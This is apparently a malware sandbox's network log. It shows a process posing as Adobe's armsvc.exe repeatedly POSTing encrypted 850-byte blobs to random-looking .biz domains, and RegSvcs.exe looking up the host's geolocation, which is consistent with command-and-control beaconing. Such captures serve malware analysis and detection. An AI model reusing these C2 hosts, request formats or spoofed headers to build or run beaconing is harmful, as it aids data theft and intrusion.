Dec 11, 2024 09:26:20.718612909 CET	279	IN	HTTP/1.1 302 Moved Temporarily Date: Wed, 11 Dec 2024 08:26:20 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Location: http://ww12.przvgke.biz/iwsxa?usid=25&utid=8132645662 Cache-Control: no-cache Pragma: no-cache Access-Control-Allow-Origin: *
Dec 11, 2024 09:26:23.381673098 CET	340	OUT	GET /snsobwmcccpnrm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww99.przvgke.biz
Dec 11, 2024 09:26:24.547502995 CET	288	IN	HTTP/1.1 302 Moved Temporarily Date: Wed, 11 Dec 2024 08:26:24 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Location: http://ww12.przvgke.biz/snsobwmcccpnrm?usid=25&utid=8132647334 Cache-Control: no-cache Pragma: no-cache Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49715	13.248.148.254	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:21.250545979 CET	355	OUT	GET /iwsxa?usid=25&utid=8132645662 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww12.przvgke.biz
Dec 11, 2024 09:26:22.554306030 CET	825	IN	HTTP/1.1 200 OK Accept-Ch: viewport-width Accept-Ch: dpr Accept-Ch: device-memory Accept-Ch: rtt Accept-Ch: downlink Accept-Ch: ect Accept-Ch: ua Accept-Ch: ua-full-version Accept-Ch: ua-platform Accept-Ch: ua-platform-version Accept-Ch: ua-arch Accept-Ch: ua-model Accept-Ch: ua-mobile Accept-Ch-Lifetime: 30 Content-Type: text/html; charset=UTF-8 Date: Wed, 11 Dec 2024 08:26:22 GMT Server: Caddy Server: nginx Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_Zt2r4BpQytAyzx39iK0B0lSzV0rD/Wm45LSqczltRWvwOYaESImcebYTCqqsfhakfUINr+vqhPecDey3RZ1c/A== X-Domain: przvgke.biz X-Pcrew-Blocked-Reason: X-Pcrew-Ip-Organization: CenturyLink X-Subdomain: ww12 Transfer-Encoding: chunked
Dec 11, 2024 09:26:22.554636955 CET	1236	IN	Data Raw: 33 63 66 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 Data Ascii: 3cff<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_Zt2r4BpQytAyzx39iK0B0lSzV0rD/Wm45LSqczltRWvwOYaESImcebYTCqqsfhakfUINr
Dec 11, 2024 09:26:22.554822922 CET	224	IN	Data Raw: 67 69 6e 3a 30 20 30 20 33 70 78 20 32 30 70 78 3b 0a 7d 0a 0a 2e 73 69 74 65 6c 69 6e 6b 48 6f 6c 64 65 72 20 7b 0a 09 6d 61 72 67 69 6e 3a 2d 31 35 70 78 20 30 20 31 35 70 78 20 33 35 70 78 3b 0a 7d 0a 0a 23 61 6a 61 78 6c 6f 61 64 65 72 48 6f Data Ascii: gin:0 0 3px 20px;}.sitelinkHolder {margin:-15px 0 15px 35px;}#ajaxloaderHolder {display: block;width: 24px;height: 24px;background: #fff;padding: 8px 0 0 8px;margin:10px auto;-webkit-border-radius: 4px;
Dec 11, 2024 09:26:22.554830074 CET	1236	IN	Data Raw: 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 7d 3c 2f 73 74 79 6c 65 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 Data Ascii: -moz-border-radius: 4px;border-radius: 4px;}</style> <style media="screen">* { margin:0;padding:0}body { background:#101c36; font-family: sans-serif; text-align: center; font-size:1rem;}.header { padding:
Dec 11, 2024 09:26:22.554857016 CET	1236	IN	Data Raw: 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 36 32 36 35 37 34 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 2e 73 65 61 72 63 68 48 6f 6c 64 65 72 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 31 70 78 20 30 20 31 70 78 20 31 70 78 3b 0a 20 20 20 20 6d Data Ascii: color:#626574 !important;}.searchHolder { padding:1px 0 1px 1px; margin:1rem auto; width: 95%; max-width: 500px;}@media screen and (min-width:600px) { .comp-is-parked, .comp-sponsored { color: #848484;
Dec 11, 2024 09:26:22.554863930 CET	1236	IN	Data Raw: 20 20 20 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 27 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 6d 61 57 78 73 Data Ascii: height: 24px; background-image: url('data:image/svg+xml;base64,PHN2ZyBmaWxsPScjRDdEN0Q3JyBzdHlsZT0iZmxvYXQ6IHJpZ2h0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0Ij48cGF0aCBkPSJNM
Dec 11, 2024 09:26:22.555110931 CET	1236	IN	Data Raw: 2f 70 72 69 76 61 63 79 2e 68 74 6d 6c 27 2c 20 27 70 72 69 76 61 63 79 2d 70 6f 6c 69 63 79 27 2c 20 27 77 69 64 74 68 3d 38 39 30 2c 68 65 69 67 68 74 3d 33 33 30 2c 6c 65 66 74 3d 32 30 30 2c 74 6f 70 3d 32 30 30 2c 6d 65 6e 75 62 61 72 3d 6e Data Ascii: /privacy.html', 'privacy-policy', 'width=890,height=330,left=200,top=200,menubar=no,status=yes,toolbar=no').focus()" class="privacy-policy"> Privacy Policy</a><br/><br/><br/><br/> </div></div><script type="text/javascript" langua
Dec 11, 2024 09:26:22.555118084 CET	1236	IN	Data Raw: 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 6c 65 74 20 69 73 41 64 75 6c 74 3d 66 61 6c 73 65 3b 20 20 20 20 20 20 20 20 20 6c 65 74 20 63 6f 6e 74 61 69 6e 65 72 4e 61 6d 65 73 3d 5b 5d 3b 20 Data Ascii: <script type="text/javascript">let isAdult=false; let containerNames=[]; let uniqueTrackingID='MTczMzkwNTU4Mi4yNjE6YzUxYmE5OWQ3MmE4YjE1MjBiNWZlNTdkMzQyZGI3NjNmYzE4OTdjYmY5MjgwMDM3Mzk3N2QxZTUxMWFlZTcxOTo2NzU5NGNhZTNmYjU4';
Dec 11, 2024 09:26:22.555124998 CET	1236	IN	Data Raw: 74 20 2b 20 27 2f 3f 74 73 3d 27 2c 27 66 6f 6e 74 46 61 6d 69 6c 79 27 3a 20 27 61 72 69 61 6c 27 2c 27 6f 70 74 69 6d 69 7a 65 54 65 72 6d 73 27 3a 20 74 72 75 65 2c 27 6d 61 78 54 65 72 6d 4c 65 6e 67 74 68 27 3a 20 34 30 2c 27 61 64 74 65 73 Data Ascii: t + '/?ts=','fontFamily': 'arial','optimizeTerms': true,'maxTermLength': 40,'adtest': true,'clicktrackUrl': '//' + location.host + '/track.php?','attributionText': 'Ads','colorAttribution': '#b7b7b7','fontSizeAttribution': 16,'attributionBold'
Dec 11, 2024 09:26:22.555130959 CET	1236	IN	Data Raw: 70 6f 6e 65 6e 74 28 75 6e 69 71 75 65 54 72 61 63 6b 69 6e 67 49 44 29 29 3b 7d 69 66 20 28 73 74 61 74 75 73 2e 65 72 72 6f 72 63 6f 64 65 20 26 26 20 21 73 74 61 74 75 73 2e 65 72 72 6f 72 5f 63 6f 64 65 29 20 7b 73 74 61 74 75 73 2e 65 72 72 Data Ascii: ponent(uniqueTrackingID));}if (status.errorcode && !status.error_code) {status.error_code = status.errorcode;}if (status.error_code) {ajaxQuery(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=errorcode&code=" +
Dec 11, 2024 09:26:22.675265074 CET	1236	IN	Data Raw: 74 26 75 69 64 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 75 6e 69 71 75 65 54 72 61 63 6b 69 6e 67 49 44 29 29 3b 7d 20 65 6c 73 65 20 69 66 20 28 28 73 74 61 74 75 73 2e 61 64 75 6c 74 20 3d 3d 3d 20 66 61 6c 73 65 Data Ascii: t&uid=" + encodeURIComponent(uniqueTrackingID));} else if ((status.adult === false \|\| status.adult == "false") && isAdult) {ajaxQuery(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=nonadult&uid=" + encodeURICom
Dec 11, 2024 09:26:24.551563978 CET	364	OUT	GET /snsobwmcccpnrm?usid=25&utid=8132647334 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww12.przvgke.biz
Dec 11, 2024 09:26:25.057082891 CET	825	IN	HTTP/1.1 200 OK Accept-Ch: viewport-width Accept-Ch: dpr Accept-Ch: device-memory Accept-Ch: rtt Accept-Ch: downlink Accept-Ch: ect Accept-Ch: ua Accept-Ch: ua-full-version Accept-Ch: ua-platform Accept-Ch: ua-platform-version Accept-Ch: ua-arch Accept-Ch: ua-model Accept-Ch: ua-mobile Accept-Ch-Lifetime: 30 Content-Type: text/html; charset=UTF-8 Date: Wed, 11 Dec 2024 08:26:24 GMT Server: Caddy Server: nginx Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_X+G6jDd1B8cElmIQlB675pfVulnMmKTHwlcR8HKLhayYnFRPpJnTgx1YqQj7SwujdpZmxbcj7U0WhOh+0Ep8eA== X-Domain: przvgke.biz X-Pcrew-Blocked-Reason: X-Pcrew-Ip-Organization: CenturyLink X-Subdomain: ww12 Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49731	18.141.10.107	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:26.524910927 CET	356	OUT	POST /feiwbqpqckjc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:26:26.524929047 CET	850	OUT	Data Raw: 51 f6 89 f6 32 2a ac 98 46 03 00 00 c9 a2 b6 92 54 13 a8 f8 a7 e9 22 07 97 83 50 dd 4a 12 fc 67 37 83 fd f9 6d c2 73 00 ea 1f 6e f2 c5 3c d2 17 11 d7 67 84 a5 b7 43 38 c1 89 63 f3 79 42 47 2c 1d ec c5 aa 98 85 89 87 28 4d 40 05 dd 25 9d 22 7c b9 Data Ascii: Q2*FT"PJg7msn<gC8cyBG,(M@%"\|RM]!ob8~g]I)O0Ky9%ImjB@e$leY-b M/%\/J\|Mq2FLUL^]PG;M]z12VxM\|;#f
Dec 11, 2024 09:26:28.610888004 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:26:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=269b08293699a577a072ffff352ce405\|8.46.123.175\|1733905588\|1733905588\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49742	82.112.184.197	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:30.448394060 CET	348	OUT	POST /dtxqcr HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:26:30.448440075 CET	850	OUT	Data Raw: d1 d1 4a a6 ac fb de f3 46 03 00 00 e1 16 3f 45 c5 c8 27 f5 d2 5b 1f 84 73 36 dc ad 3b e4 3f 68 5f 88 ee 7b bd 06 f6 44 bd b4 71 41 f6 17 bb 11 11 a9 6a 30 66 ee c6 09 af 51 ee 51 e3 b6 fa c3 37 f5 b2 50 1d c4 1d 71 fc c0 fc ce ff 4e b9 8f 84 50 Data Ascii: JF?E'[s6;?h_{DqAj0fQQ7PqNP(:U=4`pdK)QzYj]UY3pi8(]vo9PML1]/lZbryHQLmaH26Sr1^9 78ZwC*"\|fso+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49792	82.112.184.197	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:52.879203081 CET	355	OUT	POST /kdexhblwxghmj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:26:52.879223108 CET	850	OUT	Data Raw: d6 11 7e 8b 57 4c cf d5 46 03 00 00 f7 e2 a2 53 9c a7 51 33 fe 46 f3 72 79 b6 be e6 f0 83 b0 8b f5 61 a6 4f f2 d2 76 80 27 7c 6c 58 b8 e1 d2 d4 16 a2 16 31 05 e0 0a a8 87 eb a0 3c a5 67 ad 64 f7 8f d1 ba 7c 7b 39 36 dd 79 71 ba 68 29 87 5b 04 f7 Data Ascii: ~WLFSQ3FryaOv'\|lX1<gd\|{96yqh)[wQW:)T\|uP'8=?Gcc9QDMRX12`4x"g,<_0vev\|e#t<Gg}l427f)(T]bC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49844	82.112.184.197	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:27:16.080837011 CET	353	OUT	POST /cfsmnhjm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:27:16.080857038 CET	850	OUT	Data Raw: 65 2c 53 16 1b 54 41 62 46 03 00 00 5a 65 16 b4 7b 32 c7 cf 0b 80 0e 70 4d b2 b5 11 18 1a 64 bc 37 5e b5 e3 1b 49 53 b6 7b fd 13 86 8d 9b 6e 4d 8f dd 46 4d 11 71 7c 0c e0 91 b8 85 35 4c b9 bb 99 4b e8 89 db e5 bb f7 68 08 38 e1 10 24 18 c9 e1 5f Data Ascii: e,STAbFZe{2pMd7^IS{nMFMq\|5LKh8$_`Wma"LOrbSGJ}_ItdMPfwT M{qVJi5SKbc6&BUuk^Ux8A3\$`~8_Z\Vg}c,q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49895	82.112.184.197	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:27:38.123414993 CET	346	OUT	POST /o HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:27:38.132839918 CET	850	OUT	Data Raw: 70 e6 95 06 2a 84 91 ca 46 03 00 00 03 64 0e c4 8c 81 0f 26 d1 11 4f e0 7e 6f 7f ba 9e a2 e3 3f de 14 e3 c0 89 9b 4f 5e bd 72 35 e0 c2 7b ab fa 83 62 17 c9 9a 5f e5 5d 38 65 23 ae de 2e 8b 39 e0 6e 24 6e e6 f3 b1 73 1d 71 e1 ae ff ce 9e 99 0c aa Data Ascii: p*Fd&O~o?O^r5{b_]8e#.9n$nsqzJkY&0r "9\N }S-UKv0F:u:0DDFr^ImBoBYsFq`dH@"<eRx bxFaf")w9\|hf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49946	47.129.31.212	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:28:00.709965944 CET	347	OUT	POST /vtfq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xlfhhhm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:28:00.709983110 CET	850	OUT	Data Raw: 23 ed 5e 49 bf eb 2f be 46 03 00 00 e3 04 58 5c 9a e5 b0 3b b6 e5 bf ba 1e 12 c6 e6 fc 96 55 f2 16 95 2f d3 e9 45 31 67 87 2d 8d 88 a4 60 ec 6e 76 48 f5 1d dc 1c 0c 20 d6 bf 9f a2 93 61 47 18 a4 fd 7c 97 38 2e 6b d0 41 53 34 4e 62 8f 80 0a ef a8 Data Ascii: #^I/FX\;U/E1g-`nvH aG\|8.kAS4Nb}WhQnUt.8~?#\|7CwF#EGq2P;7Z5Cm.eJS8\3;+yf?W1h80Is/,(4-;t\|1rLvXlB
Dec 11, 2024 09:28:02.771852016 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:28:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=12f350b9bec4ba8e5b30ae20808e81af\|8.46.123.175\|1733905682\|1733905682\|0\|1\|0; path=/; domain=.xlfhhhm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49952	13.251.16.150	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:28:04.372708082 CET	344	OUT	POST /pn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ifsaia.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:28:04.372839928 CET	850	OUT	Data Raw: 09 4d 9b cf 89 4e 54 b6 46 03 00 00 05 14 fc fc 6b b4 a0 78 3c 49 3a f9 f7 32 c6 19 8b 02 bc b8 3c e5 d4 0f 09 4f 91 3c 20 59 35 7d f9 ff 21 e2 9c 77 48 61 78 c3 22 3f 03 56 88 9f 00 17 12 fb 63 b9 c2 77 04 16 d3 a6 9a 56 ba 0b 55 85 d5 cb a7 5b Data Ascii: MNTFkx<I:2<O< Y5}!wHax"?VcwVU[y6P\|OOvG/\|W\l.E'IEQ7]XX\v~U(.)A?OFOKQD@(yjXtri@a6D_uw^q
Dec 11, 2024 09:28:06.443178892 CET	410	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:28:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6ac8f14eccc2f514944d2ec025e46dde\|8.46.123.175\|1733905686\|1733905686\|0\|1\|0; path=/; domain=.ifsaia.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49963	44.221.84.105	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:28:07.209919930 CET	357	OUT	POST /eglmpsrvxnyx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: saytjshyf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:28:07.209964037 CET	850	OUT	Data Raw: 9b c8 c0 0e 73 8c d7 df 46 03 00 00 72 46 11 01 31 91 72 d7 91 99 c7 45 88 86 3d 03 92 3f 1c dd 01 30 ba 49 d1 bc da 37 b6 a4 a6 55 97 e6 1f ea c3 00 7e f1 59 8e 80 b6 bc 43 f3 37 77 ec f1 85 00 8d 97 00 cb 37 e6 bd 88 37 61 2b 85 d3 27 ad 58 67 Data Ascii: sFrF1rE=?0I7U~YC7w77a+'Xg$^\ZN@b>\|EL"p(BWY: DV0E>f7O=\|(AwJ}?:-fM'MeDH7kn\|I;wO;Oq\ji\|X'1Oms?,
Dec 11, 2024 09:28:08.309787989 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:28:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=56e256e8e8cd5447e37689be979e9ccb\|8.46.123.175\|1733905688\|1733905688\|0\|1\|0; path=/; domain=.saytjshyf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49964	18.141.10.107	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:28:09.271538973 CET	349	OUT	POST /lqpvpf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vcddkls.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:28:09.271564960 CET	850	OUT	Data Raw: 9b e6 af 86 de ef 5d 5e 46 03 00 00 d8 24 6a 61 2a 3e bb 46 d1 59 ae 2c 12 3c 2e a2 1f 56 39 8a c7 cc 85 23 a8 6f a2 0b 2b 13 6b ec 21 67 f0 ab 7f ce 63 ed 4b 74 bd ea b8 66 3b 9f bf f3 8e 43 61 44 8b 77 4e db e3 bc 0c ed c7 90 ab 59 ae 31 c4 cb Data Ascii: ]^F$ja>FY,<.V9#o+k!gcKtf;CaDwNY1W{61.CAH4![-cOg*"7W@dNa&pD$U-yUtS;Jdfm"-l3:rn]{l
Dec 11, 2024 09:28:11.355875969 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:28:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=83ab5ff6b435ed5e0b4df9f59e5e2547\|8.46.123.175\|1733905690\|1733905690\|0\|1\|0; path=/; domain=.vcddkls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	172.67.177.134	443	7188	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 08:26:16 UTC	85	OUT	GET /xml/8.46.123.175 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-11 08:26:16 UTC	881	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 08:26:16 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 84899 Last-Modified: Tue, 10 Dec 2024 08:51:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sY%2FOG7DrKx%2B2Yv7Ik2mtDvh9Bb0YQRzlj5oZfnjWRz6cgYsmnqKhZucLw75QXdfBZhsId8KRhPj%2BaMPui124KCHGr9l%2F%2FGO9hTNjl8lomoBfbAHcI%2FEMN2ADH9VIz7AG0qpTgJl4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0416bdad8218b8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1569&rtt_var=610&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=699&delivery_rate=1763285&cwnd=186&unsent_bytes=0&cid=f697564e67ac05dd&ts=458&x=0"
